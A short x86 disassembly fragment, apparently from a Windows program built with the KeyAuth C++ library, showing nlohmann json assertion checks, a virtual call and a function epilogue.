cmp byte [edi + 0x68], 3
jne 0x409f22
cmp dword [edi + 0x70], 0
jne 0x409f22
push 0x4ca
push str.C:UsersMustafaDesktopNew_folder__3_keyauth_cpp_library_main_nlohmannjson.hpp
push str.m_type___value_t::string__m_value.string___nullptr
call ebx
add esp, 0xc
cmp byte [edi + 0x68], 8
jne 0x409f42
cmp dword [edi + 0x70], 0
jne 0x409f42
push 0x4cb
push str.C:UsersMustafaDesktopNew_folder__3_keyauth_cpp_library_main_nlohmannjson.hpp
push str.m_type___value_t::binary__m_value.binary___nullptr
call ebx
add esp, 0xc
lea eax, [ebp - 0xd]
mov byte [ebp - 4], 6
push eax
lea ecx, [edi + 0x10]
mov byte [ebp - 0xd], 1
call fcn.0040ae00
mov dword [ebp - 4], 7
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x409f75
mov esi, dword [ecx]
lea eax, [ebp + 0xc]
cmp ecx, eax
setne dl
movzx edx, dl
push edx
call dword [esi + 0x10]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30